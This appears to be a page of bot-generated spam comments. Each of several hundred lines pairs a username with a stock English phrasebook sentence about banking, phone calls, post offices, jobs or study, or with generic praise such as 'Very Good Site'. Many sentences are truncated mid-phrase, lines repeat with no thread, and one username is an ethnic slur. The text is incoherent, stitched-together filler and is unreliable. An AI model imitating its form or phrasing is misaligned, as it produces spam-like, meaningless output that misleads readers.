Cyrus : Can I use your phone? .
Hannah : Pleased to meet you .
Aaliyah : I can't stand football .
Jermaine : A law firm .
Merle : Wonderfull great site .
Frank : Do you need a work permit? .
August : Not in at the moment .
Waylon : Looking for a job .
Benito : What do you like doing in your spare time? .
Jerry : I can't get through at the moment .
Denis : I'd like to send this parcel to .
Steep777 : Photography .
Dudley : I stay at home and look after the children .
Johnie : real beauty page .
Michelle : I'm not interested in football .
Sherwood : I'm a housewife .
Amado : A staff restaurant .
Gilbert : Who do you work for? .
Jackson : I'm afraid that number's ex-directory .
Williams : Very interesting tale .
Rikky : Photography .
Alden : Good crew it's cool :) .
Nevaeh : I hate shopping .
Kermit : I'm sorry, I'm not interested .
Darryl : I work for myself .
Brendon : Children with disabilities .
Payton : This is the job description .
Damien : Is it convenient to talk at the moment? .
Reginald : Do you know each other? .
Maxwell : It's funny goodluck .
Zachery : I'm doing a masters in law .
Anthony : A First Class stamp .
Victor : I'd like a phonecard, please .
Arlie : Good crew it's cool :) .
Rogelio : I'm unemployed .
Unlove : An envelope .
Clinton : Very Good Site .
Collin : What university do you go to? .
Lenard : A book of First Class stamps .
Dudley : Just over two years .
Michale : I'd like to tell you about a change of address .
Marcelino : I'm a partner in .
Lightsoul : What sort of work do you do? .
Jayden : How many would you like? .
Joshua : How long have you lived here? .
Molly : A few months .
Mike : I'm unemployed .
Jarvis : I live here .
Fredric : We'll need to take up references .
Grace : Have you seen any good films recently? .
Layla : A Second Class stamp .
Nathanael : I'm only getting an answering machine .
Damien : Who do you work for? .
Eva : How many days will it take for the cheque to clear? .
Lucien : Can I call you back? .
Pierre : I was made redundant two months ago .
Salvador : What do you like doing in your spare time? .
Nathan : What part of do you come from? .
Madeline : I'm only getting an answering machine .
Adolph : i'm fine good work .
Rocky : Good crew it's cool :) .
Harley : How do you spell that? .
Benny : Excellent work, Nice Design .
Jarred : I'm interested in .
Isaias : Your account's overdrawn .
Brendan : What's the exchange rate for euros? .
Quintin : A Second Class stamp .
Julia : I'm interested in this position .
Modesto : Will I be paid weekly or monthly? .
Michael : Could you transfer $1000 from my current account to my depos .
Gilbert : Which year are you in? .
Isabel : How many are there in a book? .
Britt : Could you please repeat that? .
Victoria : I'd like to speak to someone about a mortgage .
Crazyivan : Children with disabilities .
Marion : I'm unemployed .
Willis : Very interesting tale .
Bernard : Yes, I love it! .
Floyd : This is your employment contract .
Melvin : I sing in a choir .
Tyron : Did you go to university? .
Bruce : I'd like to change some money .
Brayden : Will I have to work shifts? .
Moses : A financial advisor .
Douglass : Stolen credit card .
Avery : I really like swimming .
Johnson : What line of work are you in? .
Santos : I need to charge up my phone .
Stanton : Could you tell me the number for ? .
Reinaldo : Sorry, I'm busy at the moment .
Rodrick : Where do you live? .
Hailey : I'm on a course at the moment .
Darrell : I'm not working at the moment .
Shelby : Yes, I play the guitar .
Ellsworth : Is there ? .
Peyton : The National Gallery .
Conrad : I'd like to open a personal account .
Ivory : A packet of envelopes .
Craig : This is your employment contract .
Sophie : Could I ask who's calling? .
Sophie : We used to work together .
Lucius : Cool site goodluck :) .
Raleigh : What's the interest rate on this account? .
Brendan : I like watching football .
Erick : I can't hear you very well .
Corey : Could I make an appointment to see ? .
Rosendo : A law firm .
Giuseppe : A pension scheme .
Gilberto : An accountancy practice .
Frederick : Recorded Delivery .
Alvaro : Your cash is being counted .
Hector : The line's engaged .
Virgilio : How many more years do you have to go? .
Eric : The National Gallery .
Marion : I'd like to tell you about a change of address .
Emanuel : Photography .
Eblanned : I'd like to order some foreign currency .
Olivia : I came here to study .
Amelia : I'd like to change some money .
Mike : I'd like to withdraw $100, please .
Seymour : I went to .
Lucien : Another year .
Lloyd : A book of First Class stamps .
Millard : Would you like to leave a message? .
Lamar : I like watching football .
Nestor : I'm interested in this position .
Lindsey : How much were you paid in your last job? .
Elliot : I can't get through at the moment .
Jacinto : How would you like the money? .
Fletcher : I'm doing a masters in law .
Claudio : Have you got a current driving licence? .
Leland : What sort of music do you listen to? .
Tyron : Could I make an appointment to see ? .
Blair : Do you need a work permit? .
DE : I've lost my bank card .
Ariel : this post is fantastic .
Carmine : I'm a partner in .
Alexandra : What are the hours of work? .
Oswaldo : Get a job .
Jordon : We work together .
Napoleon : I'll text you later .
Sydney : Have you seen any good films recently? .
Berry : Where's the nearest cash machine? .
Martin : Accountant supermarket manager .
Curtis : I study here .
Francis : Who would I report to? .
Miles : Could you transfer $1000 from my current account to my depos .
Jeromy : About a year .
Brody : Pleased to meet you .
Nicky : Languages .
Jordan : Recorded Delivery .
Miles : I can't hear you very well .
Sanford : I'm at Liverpool University .
William : Have you read any good books lately? .
Donald : What qualifications have you got? .
Jarrod : It's funny goodluck .
Darron : I went to .
Fritz : I'd like a phonecard, please .
Jerald : Sorry, you must have the wrong number .
Jesse : This is the job description .
Hassan : Will I get travelling expenses? .
Kidrock : I've just started at .
Charlotte : When can you start? .
Dorsey : Which year are you in? .
Anton : Could I take your name and number, please? .
Cortez : Sorry, I'm busy at the moment .
Adolph : Insert your card .
Mathew : I didn't go to university .
Kurtis : Why did you come to ? .
Luther : Are you a student? .
Ayden : An estate agents .
Rebecca : I need to charge up my phone .
Edgardo : real beauty page .
Danial : US dollars .
Daryl : I'm retired .
Brock : I'm sorry, she's .
Keith : We'll need to take up references .
Garrett : We need someone with qualifications .
Anderson : How much notice do you have to give? .
Katherine : We've got a joint account .
Gustavo : Will I have to work shifts? .
Wilson : I've lost my bank card .
Noble : Withdraw cash .
Terrence : I love this site .
Vincent : I've got a very weak signal .
Cristopher : We used to work together .
Lewis : Can you put it on the scales, please? .
Nickolas : Could I have a statement, please? .
Audrey : How many days will it take for the cheque to clear? .
Fausto : How many days will it take for the cheque to clear? .
Devin : It's OK .
Jeremiah : What company are you calling from? .
Chance : How many would you like? .
Molly : I came here to study .
Daniel : I like it a lot .
Luis : Why did you come to ? .
Byron : This is the job description .
Nilson : I've got a full-time job .
Jacques : Good crew it's cool :) .
Malcolm : Could you tell me my balance, please? .
Kenneth : When do you want me to start? .
Anderson : Could you please repeat that? .
Connie : I can't get through at the moment .
Jerrell : A packet of envelopes .
Allen : Looking for work .
Columbus : Do you need a work permit? .
Barrett : A Second Class stamp .
Devin : Canada>Canada .
Miquel : What are the hours of work? .
Heriberto : Who do you work for? .
Kayla : Do you know what extension he's on? .
Cooper : I study here .
Clinton : Do you know the number for ? .
Marquis : A few months .
Jerrold : What company are you calling from? .
Tristan : Just over two years .
Giovanni : I can't stand football .
Rickie : A First Class stamp .
Mathew : Until August .
Harley : I'm not working at the moment .
Arden : Best Site Good Work .
Cole : Have you seen any good films recently? .
Maynard : I'd like to cancel a cheque .
Terence : I'd like to take the job .
Sierra : Where did you go to university? .
Darin : Have you got a current driving licence? .
Cameron : I'd like to take the job .
Jimmy : I'll put him on .
Clemente : Where's the nearest cash machine? .
Harlan : I'm doing a phd in chemistry .
Freelove : Do you have any exams coming up? .
Armand : I came here to work .
Brain : Could I order a new chequebook, please? .
Rupert : When do you want me to start? .
Markus : I'd like to open a business account .
Gaston : Your cash is being counted .
Stewart : Can I take your number? .
Mason : Best Site good looking .
Cesar : Where do you live? .
Joseph : I like watching football .
Octavio : What qualifications have you got? .
Nelson : Lost credit card .
Luther : I'll put her on .
Clement : Have you read any good books lately? .
Sanford : I stay at home and look after the children .
Willis : I'd like to change some money .
Bobby : International directory enquiries .
Flyman : I work with computers .
Stanley : I'd like to order some foreign currency .
Bailey : I'd like to open an account .
Roosevelt : I was made redundant two months ago .
Johnathon : How long have you lived here? .
Devon : How do you do? .
Plank : How long have you lived here? .
Oswaldo : Could you transfer $1000 from my current account to my depos .
Jefferson : I'll put him on .
Brayden : How do you spell that? .
Ulysses : I like it a lot .
Caden : I'm training to be an engineer .
Vanessa : I quite like cooking .
Wilfred : Where do you come from? .
Mariah : I'm doing an internship .
Danilo : Have you got any qualifications? .
Wilford : I'm in my first year at university .
Marissa : Could you give me some smaller notes? .
Michel : I don't know what I want to do after university .
Marlon : I'm unemployed .
Terrance : I love the theatre .
Stanford : I've just started at .
Sophie : i'm fine good work .
Granville : I've only just arrived .
Colby : Could I take your name and number, please? .
Mauricio : Where's the nearest cash machine? .
Domingo : Three years .
Arnulfo : How do you know each other? .
Mike : Where do you study? .
Gavin : How much is a First Class stamp? .
Myles : Have you got a telephone directory? .
Kraig : I've been cut off .
Mariano : Remove card .
Silas : In a meeting .
Sara : I came here to study .
Riley : I'm not working at the moment .
Geraldo : Please call back later .
Wilbur : How much will it cost to send this letter to ? .
Friend35 : I'm on work experience .
Antone : I'm sorry, I didn't catch your name .
Chase : Can you hear me OK? .
Denis : Do you need a work permit? .
Antwan : It's OK .
Shirley : What do you do for a living? .
Timothy : Could you send me an application form? .
Tristan : Could I have an application form? .
Alphonse : How many are there in a book? .
Hayden : Stolen credit card .
Tyrell : We need someone with experience .
Darell : Three years .
Zoey : Can you put it on the scales, please? .
Vincent : I'm a trainee .
Judson : Until August .
Albert : Who would I report to? .
Marion : Lost credit card .
Rebecca : Is this a temporary or permanent position? .
Freeman : Have you got a current driving licence? .
Connor : We'll need to take up references .
Adrian : Sorry, I ran out of credit .
Elisha : Sorry, I ran out of credit .
Audrey : What do you do for a living? .
Roscoe : Have you read any good books lately? .
Nickolas : I work here .
Austin : I'm self-employed .
Agustin : Do you need a work permit? .
Laverne : Will I get travelling expenses? .
Rubin : i'm fine good work .
Cornelius : How do you do? .
Conrad : I love this site .
Jeremiah : I've only just arrived .
Rogelio : Yes, I love it! .
Caleb : I'm a member of a gym .
Harley : I'm happy very good site .
Willis : We need someone with experience .
Sarah : I really like swimming .
Rufus : In a meeting .
Maxwell : This is the job description .
Brendon : Very interesting tale .
Curt : We were at school together .
Damien : Where are you calling from? .
Arnulfo : Where are you from? .
Raphael : I'm retired .
Salvatore : Will I get paid for overtime? .
Santos : Your cash is being counted .
Madeline : I'm originally from Dublin but now live in Edinburgh .
Mario : Where do you come from? .
Mike : Good crew it's cool :) .
Junior : I've only just arrived .
Fausto : Excellent work, Nice Design .
Megan : I'm originally from Dublin but now live in Edinburgh .
Oscar : I work here .
Terry : How much is a Second Class stamp? .
Michelle : Where are you from? .
Merrill : Jonny was here .
Garrett : I'll text you later .
Alejandro : Pleased to meet you .
Lucio : I came here to study .
Edmond : I'd like to cancel a cheque .
Bernie : How do you spell that? .
Titus : Whereabouts are you from? .
Mitchell : I'm in my first year at university .
Darell : I'd like to open a business account .
Elvin : Have you seen any good films recently? .
Jordon : I want to report a .
Melanie : I'm not interested in football .
Sarah : What do you like doing in your spare time? .
Brady : perfect design thanks .
Christoper : Can I call you back? .
Fernando : Where do you live? .
Bruce : Have you read any good books lately? .
Vincent : I do some voluntary work .
Jada : Could you transfer $1000 from my current account to my depos .
Steep777 : this post is fantastic .
Federico : magic story very thanks .
Donnell : I've come to collect a parcel .
Kaylee : Which team do you support? .
Nelson : I'm a trainee .
Larry : I'd like to open an account .
Kristopher : Could I ask who's calling? .
Garth : Insert your card .
Andreas : Will I have to work on Saturdays? .
Johnathon : What university do you go to? .
Laurence : real beauty page .
Mitchel : Would you like a receipt? .
Pasquale : I saw your advert in the paper .
Brice : This site is crazy :) .
Ariel : In a meeting .
Davis : Do you need a work permit? .
Diana : I can't hear you very well .
Rocco : I've got a full-time job .
Gerald : Where do you come from? .
Freddy : I'm about to run out of credit .
Brice : Nice to meet you .
Grady : Which year are you in? .
Reginald : How do I get an outside line? .
Stephen : What qualifications have you got? .
Carmen : Could I order a new chequebook, please? .
Harold : How much will it cost to send this letter to ? .
Zachary : Through friends .
Columbus : I'd like to apply for this job .
Caden : Accountant supermarket manager .
Delbert : What sort of music do you listen to? .
Edgardo : Sorry, I'm busy at the moment .
Irving : I'm not sure .
Francesco : Could you tell me the number for ? .
Daron : I've just started at .
Chauncey : I'm sorry, I'm not interested .
Emmitt : I'm interested in this position .
Josiah : Children with disabilities .
Heyjew : An estate agents .
Chang : Could you tell me the dialing code for ? .
Alexandra : What university do you go to? .
Stacey : I work for myself .
Coco888 : Until August .
Napoleon : I'm retired .
Evelyn : We work together .
Sylvester : Where did you go to university? .
Lillian : We were at school together .
Isaac : Thanks funny site .
Barton : A pension scheme .
Malik : Do you like it here? .
Haley : Sorry, you must have the wrong number .
Dwight : Which team do you support? .
Shannon : Could I take your name and number, please? .
Thomas : I need to charge up my phone .
Magic : Through friends .
Franklin : this post is fantastic .
Flyman : My battery's about to run out .
Antony : I've come to collect a parcel .
Dudley : Have you read any good books lately? .
Claire : Hello good day .
Kraig : We were at school together .
Seymour : What's the last date I can post this to to arrive in time f .
Dwain : I'm on a course at the moment .
Carey : What university do you go to? .
Benito : I'm on a course at the moment .
Shawn : Go travelling .
Jefferey : Could you ask her to call me? .
Brendan : I live in London .
Claudio : Yes, I play the guitar .
Bradford : No, I'm not particularly sporty .
Tyrell : I've been made redundant .
Margarito : I'd like to apply for this job .
Shelton : Could I take your name and number, please? .
Adolfo : I'd like to take the job .
Lanny : Could you send me an application form? .
Nathanael : I work for myself .
Infest : Stolen credit card .
Freeman : Pleased to meet you .
Brendan : Could you give me some smaller notes? .
Harold : Please call back later .
Kerry : How many weeks' holiday a year are there? .
Bella : A financial advisor .
Rickie : I work for myself .
Christian : The line's engaged .
Fausto : I never went to university .
Peyton : I can't get a dialling tone .
Giuseppe : I'd like to speak to someone about a mortgage .
Trenton : Free medical insurance .
Steven : How much is a Second Class stamp? .
Julian : I'm retired .
Xavier : I really like swimming .
Angelo : I'm about to run out of credit .
Ralph : I'm a partner in .
Emerson : Until August .
Hipolito : Through friends .
Camila : Can I use your phone? .
Edgar : Gloomy tales .
Fabian : I stay at home and look after the children .
Nathaniel : I like watching football .
Lucius : Hello good day .
Shelton : When do you want me to start? .
Royce : I was born in Australia but grew up in England .
Arlen : I'd like to open a personal account .
Fifa55 : this is be cool 8) .
Carter : Lost credit card .
Edmund : Withdraw cash .
Willian : Who do you work for? .
Rodney : Can you hear me OK? .
Thurman : Will I have to work on Saturdays? .
Wayne : I'm in a band .
Pablo : Pleased to meet you .
Antonia : Where are you calling from? .
Britt : Very Good Site .
Evelyn : Yes, I play the guitar .
Ralph : I'd like to pay this in, please .
Marcus : Where did you go to university? .
Chase : Wonderfull great site .
Dusty : I sing in a choir .
Brooklyn : Languages .
Delmer : I'm on business .
Mickey : The line's engaged .
Armand : I'm not working at the moment .
Thaddeus : We need someone with qualifications .
Johnathan : Do you know each other? .
Waylon : A few months .
Ronald : Have you got any qualifications? .
Spencer : I'm unemployed .
Earle : Can you hear me OK? .
Crazyfrog : Which team do you support? .
Kendrick : real beauty page .
Joshua : Could I make an appointment to see ? .
Steven : I've lost my bank card .
Reinaldo : Please call back later .
Clement : What are the hours of work? .
Marco : Do you play any instruments? .
Clemente : Withdraw cash .
Edmundo : I'm unemployed .
Lance : Could I ask who's calling? .
Edmond : A book of First Class stamps .
Andres : Do you play any instruments? .
Robbie : Do you know the number for ? .
Chong : Who do you work for? .
Madelyn : I want to report a .
Peyton : Why did you come to ? .
Mario : I can't get a signal .
Mishel : It's a bad line .
Eddie : Good crew it's cool :) .
Pitfighter : About a year .
Emma : I wanted to live abroad .
Wilbert : A First Class stamp .
William : Do you play any instruments? .
Judson : Enter your PIN .
Kaitlyn : What company are you calling from? .
Elisha : Hold the line, please .
Derrick : I'd like to apply for this job .
Quincy : The line's engaged .
Connor : This is the job description .
Franklyn : An accountancy practice .
Major : Do you have any exams coming up? .
Hyman : I'd like to pay this cheque in, please .
Johnnie : My battery's about to run out .
Mishel : This site is crazy :) .
Roger : I'm on a course at the moment .
Humberto : I'm originally from Dublin but now live in Edinburgh .
Jeremiah : Whereabouts are you from? .
Norris : About a year .
Sammy : I'm on holiday .
Jeremy : I'm originally from Dublin but now live in Edinburgh .
Paris : I'm only getting an answering machine .
Barton : I'm interested in this position .
Diva : Who would I report to? .
Vincenzo : I don't know what I want to do after university .
Robbie : We've got a joint account .
Alden : Have you got any experience? .
Ferdinand : Wonderfull great site .
Charlotte : It's a bad line .
Gerardo : One moment, please .
Florentino : I'm in a band .
Carol : I'm about to run out of credit .
Carter : I've come to collect a parcel .
Erasmo : Could you give me some smaller notes? .
Hosea : Incorrect PIN .
Pablo : I'm doing an internship .
Levi : Where do you come from? .
John : I sing in a choir .
Giuseppe : Go travelling .
Mohammed : How do you know each other? .
Kaitlyn : Another service? .
Genaro : I'd like to open a business account .
Valeria : Could I take your name and number, please? .
Michelle : Punk not dead .
Aaron : Three years .
Donovan : Where do you live? .
Goodsam : Until August .
Leonard : I'm interested in this position .
Blaine : I came here to study .
Sandy : I'll put her on .
Jerrod : The manager .
Ryan : A few months .
Gaston : I've been cut off .
Esteban : What qualifications have you got? .
Isiah : I quite like cooking .
Angelina : I'm only getting an answering machine .
Roscoe : Your cash is being counted .
Chadwick : Will I have to work shifts? .
Charles : How do you do? .
Fausto : I like watching TV .
Jerrold : I want to make a withdrawal .
Augustus : I'm only getting an answering machine .
Grace : I'm unemployed .
Jesus : I've been made redundant .
Maurice : I work for myself .
Refugio : An estate agents .
Rusty : Do you know the number for ? .
Homer : A few months .
Hilton : Stolen credit card .
Chong : I stay at home and look after the children .
Jewell : Enter your PIN .
Porfirio : I like watching TV .
Jeffry : How much were you paid in your last job? .
Mohammed : Through friends .
Sherwood : We'd like to invite you for an interview .
Mauro : A jiffy bag .
Pedro : I'm sorry, he's .
Denis : What's the exchange rate for euros? .
Darron : Other amount .
Frederick : What do you do? .
Mohammad : I'm from England .
Orlando : I'm training to be an engineer .
Mauricio : I'd like to send this to .
Miguel : I'd like some euros .
Milton : Which team do you support? .
Stefan : I'm sorry, she's .
Lowell : Your cash is being counted .
Nolan : Another year .
Angelina : Do you need a work permit? .
Trinidad : Not available at the moment .
Zachery : I like watching football .
Brett : What do you study? .
Emery : Children with disabilities .
Charles : I've come to collect a parcel .
Moshe : I'm self-employed .
Micheal : I love this site .
Ella : I'm a member of a gym .
Daron : I live here .
Harold : I have my own business .
Billy : Your account's overdrawn .
Russel : Canada>Canada .
Gregorio : It's serious .
Roland : A few months .
Micheal : Have you read any good books lately? .
Garland : Could I borrow your phone, please? .
Ricky : I've been made redundant .
Ezekiel : Very funny pictures .
Leopoldo : I can't stand football .
Bella : What qualifications have you got? .
Garrett : We work together .
Nathan : Some First Class stamps .
Lyman : Where do you live? .
Edwin : I can't hear you very well .
Mishel : Is it convenient to talk at the moment? .
Anna : Very funny pictures .
Rodger : I'll call back later .
Carlo : How many would you like? .
Kendrick : How much were you paid in your last job? .
Mary : What's the last date I can post this to to arrive in time f .
Benedict : Could I have a statement, please? .
Harold : I'm interested in this position .
Grant : I like it a lot .
Roberto : very best job .
Hosea : How many weeks' holiday a year are there? .
Michael : Could I take your name and number, please? .
Harley : I quite like cooking .
Jerald : We went to university together .
Gustavo : I'm a housewife .
Bonser : I was born in Australia but grew up in England .
Lucky : This is the job description .
Isabelle : Get a job .
Salvatore : Have you got any experience? .
Shawn : How would you like the money? .
Alvin : I'm a partner in .
Quinton : I can't get a dialling tone .
Caroline : I'll send you a text .
Emory : How many would you like? .
Emma : Could I borrow your phone, please? .
Winford : I'm on holiday .
Nestor : Whereabouts are you from? .
Dillon : I saw your advert in the paper .
Eugene : Until August .
Joseph : A First Class stamp .
Emery : Where do you live? .
Devon : I'd like some euros .
Chase : In a meeting .
Levi : I don't like pubs .
Houston : Whereabouts in are you from? .
Chuck : I read a lot .
Xavier : Do you have any exams coming up? .
Wilbert : How much notice do you have to give? .
Tyler : Could you ask her to call me? .
Dominique : Thanks funny site .
Emile : I didn't go to university .
Miles : What do you study? .
Wilford : Can I use your phone? .
Tracy : I'm a trainee .
Mitchel : About a year .
Raphael : I'd like to order some foreign currency .
Lincoln : I do some voluntary work .
Demarcus : A staff restaurant .
Herman : I want to make a withdrawal .
Porfirio : Gloomy tales .
Shelton : I quite like cooking .
Angelina : Special Delivery .
Vincenzo : The United States .
Kevin : A book of First Class stamps .
Brent : We need someone with experience .
Melissa : How much notice do you have to give? .
Rickie : What's the current interest rate for personal loans? .
Jesus : I've got a very weak signal .
Lionel : I can't stand football .
Geoffrey : Enter your PIN .
Unlove : I'm on holiday .
Michael : Please call back later .
Caden : The manager .
Genaro : I've just graduated .
Jaime : I'm afraid that number's ex-directory .
Kasey : Could I make an appointment to see ? .
Kelley : I've come to collect a parcel .
Geraldo : Stolen credit card .
Willie : I was made redundant two months ago .
Kelly : How do I get an outside line? .
Rosendo : Could I have , please? .
Deadman : Do you know the number for ? .
Preston : No, I'm not particularly sporty .
Mike : We went to university together .
Faith : I'm only getting an answering machine .
Hilario : I can't get through at the moment .
Ashton : What company are you calling from? .
Danial : Can I call you back? .
Tracey : Will I get travelling expenses? .
Andreas : Which team do you support? .
Allison : Your cash is being counted .
Heyjew : Hold the line, please .
Gustavo : Do you need a work permit? .
Numbers : Another service? .
Steep777 : Have you got any experience? .
Mary : A First Class stamp .
Dorsey : Another service? .
Neville : I saw your advert in the paper .
Hipolito : We used to work together .
Salvatore : Can you put it on the scales, please? .
Calvin : I've just graduated .
Dorsey : Could you please repeat that? .
Demarcus : I read a lot .
Jennifer : I've been made redundant .
Jeffery : I'm doing an internship .
Melissa : I want to make a withdrawal .
Laurence : Your cash is being counted .
Jacob : We need someone with qualifications .
Luigi : I'd like to send this to .
Kasey : Could I order a new chequebook, please? .
Courtney : Remove card .
Moses : A packet of envelopes .
Maximo : What do you like doing in your spare time? .
Antwan : I live here .
Erick : Lost credit card .
Merlin : What part of do you come from? .
Damian : Your cash is being counted .
Terence : We need someone with experience .
Camila : Where do you live? .
Alexa : I'm a member of a gym .
Kaden : I can't hear you very well .
Tracey : I'm sorry, I didn't catch your name .
Hubert : Sorry, I ran out of credit .
Luke : I'd like to open a business account .
Frances : Is this a temporary or permanent position? .
Theron : I'd like to send this to .
Andreas : What sort of music do you like? .
Moshe : A packet of envelopes .
Lenny : What qualifications have you got? .
Cornell : I want to make a withdrawal .
Kristofer : A company car .
Hobert : I'm a housewife .
Erich : I'd like to open an account .
Norbert : Just over two years .
Roscoe : This is the job description .
Wyatt : In a meeting .
Steve : Could you send me an application form? .
Allen : I don't know what I want to do after university .
Tristan : Where are you calling from? .
Brenton : Sorry, I'm busy at the moment .
Chris : The National Gallery .
Heath : Through friends .
Ambrose : In tens, please (ten pound notes) .
Elisha : I've lost my bank card .
Gregory : I'm not interested in football .
Major : Canada>Canada .
Florencio : I'd like to speak to someone about a mortgage .
Bertram : What do you study? .
Kelvin : Have you got any experience? .
Florentino : A book of First Class stamps .
Darius : We'd like to offer you the job .
Barbera : I work with computers .
Jefferey : I've got a full-time job .
Kraig : Not in at the moment .
Benny : An estate agents .
Malik : We went to university together .
Arianna : Insufficient funds .
Isaac : This is the job description .
Everette : Pleased to meet you .
Esteban : What do you do for a living? .
Amber : I'm on a course at the moment .
Steve : I'm originally from Dublin but now live in Edinburgh .
Harland : A company car .
Michale : What part of do you come from? .
Jeramy : What are the hours of work? .
Mariah : Withdraw cash .
Cyril : I live here .
Cyril : What company are you calling from? .
Claudio : Who do you work for? .
Alvaro : I want to make a withdrawal .
Derrick : I enjoy travelling .
Anibal : I stay at home and look after the children .
Valeria : How do you spell that? .
Michal : Wonderfull great site .
Chong : I've only just arrived .
Brody : I'd like to open a business account .
Caleb : A few months .
Austin : I can't hear you very well .
Scotty : Do you know what extension he's on? .
Charlie : I came here to study .
Jeremiah : Thanks funny site .
Cedric : Will I be paid weekly or monthly? .
Errol : Which year are you in? .
Renaldo : How much is a First Class stamp? .
Brock : What do you study? .
Wiley : I do some voluntary work .
Deangelo : I've lost my bank card .
Zackary : Will I have to work shifts? .
Kayla : Which year are you in? .
Valentin : Could you please repeat that? .
Britt : Special Delivery .
Austin : Do you know the number for ? .
Trenton : An accountancy practice .
Goodsam : Some First Class stamps .
Elvis : Nice to meet you .
Chong : Cool site goodluck :) .
Rigoberto : Could I make an appointment to see ? .
Jeffrey : On another call .
Blaine : I was born in Australia but grew up in England .
Felix : Wonderfull great site .
Cyril : Recorded Delivery .
Rodger : How much were you paid in your last job? .
Brent : Who do you work for? .
Natalie : I'd like to pay this cheque in, please .
Gonzalo : This is your employment contract .
Hollis : Where do you come from? .
Santiago : Recorded Delivery .
Ezekiel : Yes, I love it! .
Anna : I like it a lot .
Abdul : Where are you calling from? .
Harley : I'm sorry, he's .
Leland : How do you do? .
Lucas : I'm not working at the moment .
Gabriella : I'm doing an internship .
Stephan : I've got a very weak signal .
Richard : I sing in a choir .
Nilson : Could you please repeat that? .
Eduardo : How much notice do you have to give? .
Hilton : Hello good day .
Tommy : Why did you come to ? .
Harry : Nice to meet you .
Brody : I've got a part-time job .
Brooklyn : Accountant supermarket manager .
Gayle : Lost credit card .
James : Where's the postbox? .
Genaro : What sort of music do you listen to? .
Erich : Have you got a telephone directory? .
Jason : I do some voluntary work .
Leonel : Your cash is being counted .
Edgardo : How long are you planning to stay here? .
Alton : Who would I report to? .
Sophia : Where's the nearest cash machine? .
Elliott : Could you send me an application form? .
Faith : Yes, I love it! .
Eugene : Incorrect PIN .
Vida : This is your employment contract .
Alfredo : Stolen credit card .
Grant : About a year .
Collin : What's the current interest rate for personal loans? .
Armando : I hate shopping .
Stuart : I'm on work experience .
Haley : I work for myself .
Wendell : Through friends .
Young : I've been cut off .
Barrett : Do you know the address? .
Rocco : We'd like to invite you for an interview .
Richard : What do you like doing in your spare time? .
Michal : Photography .
Stephanie : Could you transfer $1000 from my current account to my depos .
Miguel : A law firm .
Willy : Not available at the moment .
Cyril : How much does the job pay? .
Edison : I've only just arrived .
Rocky : I'm a housewife .
Bryant : What's the current interest rate for personal loans? .
Norbert : I'm on a course at the moment .
Jessica : Could I have a statement, please? .
Neville : My battery's about to run out .
Jeremy : What line of work are you in? .
Donovan : Another year .
Carroll : Which university are you at? .
Dwight : Go travelling .
Johnie : Could you ask her to call me? .
Louie : I'd like to send this to .
Emery : good material thanks .
Gianna : I'm on business .
Gavin : Looking for a job .
Julio : I don't know what I want to do after university .
Fausto : I love the theatre .
Mauricio : I saw your advert in the paper .
Steve : An accountancy practice .
Unlove : Can you put it on the scales, please? .
Erich : We'll need to take up references .
Damian : Go travelling .
Tracy : Where do you live? .
Rudolf : Special Delivery .
Lanny : I've been made redundant .
Gavin : Which university are you at? .
Colton : We've got a joint account .
Guadalupe : I'd like to open a personal account .
Preston : Could you tell me the number for ? .
Nolan : I live here .
Rodney : real beauty page .
Fletcher : Free medical insurance .
Jeremiah : Who do you work for? .
Jamel : I can't stand football .
Joesph : I'll send you a text .
Augustine : Could I ask who's calling? .
Bobber : It's funny goodluck .
Zackary : Insert your card .
Damon : I'd like to pay this cheque in, please .
Foster : I'd like to tell you about a change of address .
Stevie : Hello good day .
Kurtis : I've come to collect a parcel .
Porter : good material thanks .
Nogood87 : I was born in Australia but grew up in England .
Joesph : I do some voluntary work .
Marissa : I'd like to open a personal account .
Rodrick : Where do you live? .
Sara : A few months .
Carter : We were at school together .
Razer22 : Could you ask her to call me? .
Federico : The United States .
Mishel : I've got a very weak signal .
Grace : Have you got a current driving licence? .
Adam : Very Good Site .
Razer22 : I've got a very weak signal .
Darron : I'm sorry, I didn't catch your name .
Spencer : We went to university together .
Cesar : this is be cool 8) .
Quinn : How long have you lived here? .
Frederic : This is the job description .
Marcellus : I'm doing a phd in chemistry .
Chauncey : Children with disabilities .
Darrel : I'm not working at the moment .
Everette : I'm from England .
Angelina : Incorrect PIN .
Laverne : Yes, I play the guitar .
Myles : Would you like to leave a message? .
Dghonson : Other amount .
Mohammad : We went to university together .
Eldridge : How much notice do you have to give? .
Carter : Do you know what extension he's on? .
Johnathan : How do you do? .
Dewey : I'd like to pay this in, please .
Christoper : I love the theatre .
Buford : I read a lot .
DE : Do you know the number for ? .
Stefan : Which university are you at? .
Stephanie : I support Manchester United .
Lillian : real beauty page .
Emmitt : I'll put her on .
Hunter : I can't get a signal .
Madeline : I'd like , please .
Walker : When do you want me to start? .
Barton : Can you put it on the scales, please? .
Ricky : We'll need to take up references .
Marcel : This is the job description .
Joesph : I have my own business .
Natalie : Could you give me some smaller notes? .
Willis : What do you do? .
Quentin : When can you start? .
Israel : Is this a temporary or permanent position? .
Riley : What do you want to do when you've finished? .
Nicholas : How much notice do you have to give? .
Abigail : I work for myself .
Jonas : I'm retired .
Adolfo : What university do you go to? .
Stefan : How long have you lived here? .
Millard : I'm a member of a gym .
Stephanie : I'm doing a phd in chemistry .
Mauricio : How many more years do you have to go? .
Thanh : Withdraw cash .
Isabelle : I'd like to send this parcel to .
Elvis : I don't know what I want to do after university .
Herschel : I have my own business .
Theron : I'm self-employed .
Neville : Yes, I love it! .
Isaac : I live in London .
Grant : Who's calling? .
Serenity : I'll send you a text .
Armand : Hold the line, please .
Cornelius : Could I take your name and number, please? .
Mason : I'd like to transfer some money to this account .
Tracy : Accountant supermarket manager .
Donovan : Looking for work .
Ervin : I have my own business .
Reginald : What's your number? .
Felipe : magic story very thanks .
Mikel : It's serious .
Roland : Stolen credit card .
Rueben : I'd like to send this parcel to .
Courtney : We need someone with qualifications .
Isabelle : Will I have to work shifts? .
Bobby : When can you start? .
Cedrick : I'd like to pay this cheque in, please .
Jared : I've just graduated .
Dudley : Sorry, I ran out of credit .
Milton : I'd like to pay this cheque in, please .
Barrett : Not in at the moment .
Nicole : I'm not sure .
Jordan : Insert your card .
Normand : What do you like doing in your spare time? .
Alexa : I'm self-employed .
Alvaro : How many days will it take for the cheque to clear? .
Buford : I'm sorry, she's .
Patric : I'd like , please .
Arlie : There's a three month trial period .
Roosevelt : Very interesting tale .
Cornelius : Hold the line, please .
Sebastian : I've got a part-time job .
Jamison : Pleased to meet you .
Francesco : On another call .
Edison : I don't know what I want to do after university .
Dudley : I'm from England .
Eddie : A company car .
